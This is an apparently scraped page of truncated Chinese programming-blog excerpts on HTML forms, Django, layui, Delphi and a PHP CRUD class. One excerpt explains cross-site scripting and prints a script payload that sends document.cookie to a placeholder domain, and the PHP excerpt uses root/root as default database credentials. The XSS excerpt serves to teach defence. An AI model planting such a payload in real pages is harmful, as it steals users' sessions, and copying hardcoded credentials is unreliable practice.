form

Django中Form表单之字段详解

六月ゝ 毕业季﹏ 提交于 2020-03-26 18:55:47
Django中的Form表单   1、背景     平时我们在书写form表单时,经常都是手动的去写一些input标签,让用户输入一些功能,进行一些校验的判断,等等。Django中的form表单就能够帮我们去实现这些功能,比较便捷。   2、Django form表单的功能       1、生成页面可执行的HTML标签       2、对应户的数据进行校验       3、保留上次输入的内容   3、先用普通方式手写一个注册功能     1、views.py文件中 # 注册 def register(request): error_msg = "" # 刚进页面的时候,用户名还为空,此时错误信息先设置成空 if request.method == "POST": username = request.POST.get("name") pwd = request.POST.get("pwd") # 对注册信息做校验 if len(username) < 6: # 用户长度小于6位 error_msg = "用户名长度不能小于6位" else: # 将用户名和密码存到数据库 return HttpResponse("注册成功") return render(request, "register.html", {"error_msg": error_msg})     2

Js 之layui-authtree权限树

杀马特。学长 韩版系。学妹 提交于 2020-03-26 14:00:49
一、效果图 二、使用示例 1、html代码 <div class="layui-form-item layui-form-text"> <label class="layui-form-label">授权菜单:</label> <div class="layui-input-block"> <div id="tree"></div> </div> </div> 2、js代码 <script src="__PUBLIC__/layui/layui.js" type="text/javascript" charset="utf-8"></script> <script> layui.config({ base: '__PUBLIC__/layui/lay/modules/', }).extend({ authtree: 'authtree', }); </script> <script> layui.use(['form', 'element', 'authtree'], function() { let form = layui.form; let authtree = layui.authtree; form.render(); authtree.render('#tree', {$tree}, { inputname: 'post[auth][]', layfilter:

Delphi XE 开发OCX

北战南征 提交于 2020-03-26 11:05:06
  File -> New -> Other -> ActiveX -> ActiveX Library   创建一个ActiveX Library,保存   File -> New -> Other ->   现在在ActiveX中就能看到 Active Form, ActiveX Control等,我选择的是Active Form   创建OCX接口   来源: 51CTO 作者: 张馨匀 链接: https://blog.51cto.com/470462/2481963

一个页面实现增删改查

走远了吗. 提交于 2020-03-26 08:46:26
通过一个页面实现增删改查的功能: <?php // 类型 class xm { private $ser; private $unam; private $pad; private $dbname; private $conn; function __construct($ser = 'localhost', $unam = 'root', $pad = 'root', $dbname = 'aproj') { $this->ser = $ser; $this->unam = $unam; $this->pad = $pad; $this->dbname = $dbname; // 连接数据库 $conn = new mysqli($ser, $unam, $pad, $dbname); if ($conn->connect_error) { die($conn->error); } else { $this->conn = $conn; } } function index() { // 查询 $conn = $this->conn; $sql = "select * from proj order by ctime desc"; $res = $conn->query($sql); if (!$res) { return $conn->error; } else {

黑客通常在用这 4 种方式攻击你!(内附防御策略)

假如想象 提交于 2020-03-26 06:45:12
黑客通常在用这 4 种方式攻击你!(内附防御策略) XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户浏览器的信任。https://www.cnblogs.com/chengxy-nds/p/12217990.html 一、跨站脚本攻击 概念 跨站脚本攻击(Cross-Site Scripting, XSS),可以将代码注入到用户浏览的网页上,这种代码包括 HTML 和 JavaScript。 攻击原理 例如有一个论坛网站,攻击者可以在上面发布以下内容: <script>location.href="//domain.com/?c=" + document.cookie</script> 之后该内容可能会被渲染成以下形式: <p><script>location.href="//domain.com/?c=" + document.cookie</script></p> 另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态,那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。 危害 窃取用户的 Cookie 伪造虚假的输入表单骗取个人信息 显示伪造的文章或者图片 防范手段 1. 设置 Cookie 为 HttpOnly 设置了 HttpOnly 的

17. HTML 表单和输入

六眼飞鱼酱① 提交于 2020-03-26 05:32:16
一: 定义: 表单是一个包含表单元素的区域。 表单元素是允许用户在表单中输入信息元素的区域。 作用: 表单用于收集不同类型的用户输入。 方法: <form></form>定义。 二: 实例 1. 文本域(Text field) <input type = "text" name = "username"> 2. 密码域(Password field)<input type = "password" name = "password"> 三: 输入类型 1. 文本域 (text fields) input type = "text" 2. 密码域(passwd fields) input type = "password" 3. 单选按钮 (radio buttons) input type = "radio" name = "sex" value = "male" 4. 复选框(checkbox) input type = "checkbox" name = "bike" 5. 下拉框 (select) <form> <select name = "cars"> <option value = "..">Audi</option> </select> </form> 6. 带有预选值的下拉框 <option value = "audi" selected = "selected"

JavaScript之form(表单域对象)

南笙酒味 提交于 2020-03-26 05:31:49
一、获取表单域对象   1.document.getElementById()   2.formObj.elements[index]   3.formObj.elements[formarea_name]   4.formObj.formarea_name 二、表单域对象的属性   1.readonly     1)input对象 设置了readonly="readonly",则该表单域只读(用户不能修改其value属性),但是可以提交     2)通过js为input对象添加“只读”属性,应通过“对象.readOnly = true”添加     3)readonly="readonly" 只能使用在<input type='text'> 及 <textaread>标签中   2.disabled     1)input对象 设置了disabled="disabled",则该表单域不可用(用户不能修改其value属性)且不能提交     2)通过js为input对象添加“不可用”属性,应通过“对象.disabled = true”添加     3)disabled="disabled"可以将所有的表单域失效   3.name     1)用于获取该表单域     2)只有设置了name属性的表单域才可以提交   4.value     1)用户输入的内容就是value

form表单总结

时光总嘲笑我的痴心妄想 提交于 2020-03-26 04:09:04
form表单是一个基础的表单控件,最近做扫码登陆使用到,在这里记录一下 <form action="url" method="get" target="_blank"></form> 1.action 提交表单的url地址 2.enctype 对表单数据进行编码(发送表单数据之前) 2.1.application/x-www-form-urlencoded 对所有数据二进制编码 2.2.multipart/form-data 不对数据进行编码,表单中 文件上传 ,必须使用这个 2.3.text/plain 将空格“ ”变为“+” 3.method 发送的方式 类似于ajax的type用法 4.name 表单的名字 5.target 属性规定在何处打开 action的URL,不设置的话会在本页面直接打开url (类似a标签) _blank 在新窗口中打开。 _self 默认 。在本页面框架中打开。 _parent 在父框架集中打开。 _top 在整个窗口中打开。 framename 在指定的框架中打开。 (在 HTML 4.01 中,不赞成使用 form 元素的 target 属性;在 XHTML 1.0 Strict DTD 中, 不支持 该属性) H5新加属性: 6.autocomplete 提示功能 用于input类型 有兼容性 6.1 on 启用 6.2 off 禁用 7

html初识form表单

余生颓废 提交于 2020-03-26 04:06:05
定义和用法 <form> 标签用于为用户输入创建 HTML 表单。 表单能够包含 input 元素 ,比如文本字段、复选框、单选框、提交按钮等等。 表单用于向服务器传输数据。通过submit可以提交表单数据. form 元素是块级元素,其前后会产生折行。 常用属性 action: 规定当提交表单时向何处发送表单数据。 method: 规定用于发送 form-data 的 HTTP 方法。 name: 常用get和post方式 。 target: 规定在何处打开 action URL, _blank _self _parent _top 举个例子 <form action="user/register" method="post"> <p>First name: <input type="text" name="fname" /></p> <p>Last name: <input type="text" name="lname" /></p> <input type="submit" value="Submit" /> </form> 来源: https://www.cnblogs.com/wangxiaolan/p/10587665.html

form总结

这一生的挚爱 提交于 2020-03-26 04:04:00
在Javascript 中,页面上的每一对<form> 标记都解析为一个对象,即form 对象。 可以通过document.forms 获取以源顺序排列的文档中所有form 对象的集合。 如果一个表单对象定义如下: <form name="frm1" method="post" action="login.aspx"> 获得该表单对象的方法: i> document.forms["frm1"]; // 根据name属性值 ii> document.forms[0]; // 根据索引号 iii> document.frm1; // 直接根据name值获得对象 form 表单应该注意的属性: elements: 获取以源顺序排列的给定表单中所有控件的集合。 但是<input type="image" > 对象不在此集合内。 var txtName = myform.elements[ 0 ]; //获得表单的第一个元素 var txtName = myform.elements["txtName"]; //获得name属性值为"txtName"的元素 var txtName = myform.elements.txtName; //获得name属性值为"txtName"的元素 enctype: 设置或获取表单的多用途网际邮件扩展(MIME) 编码。 这个属性的默认值为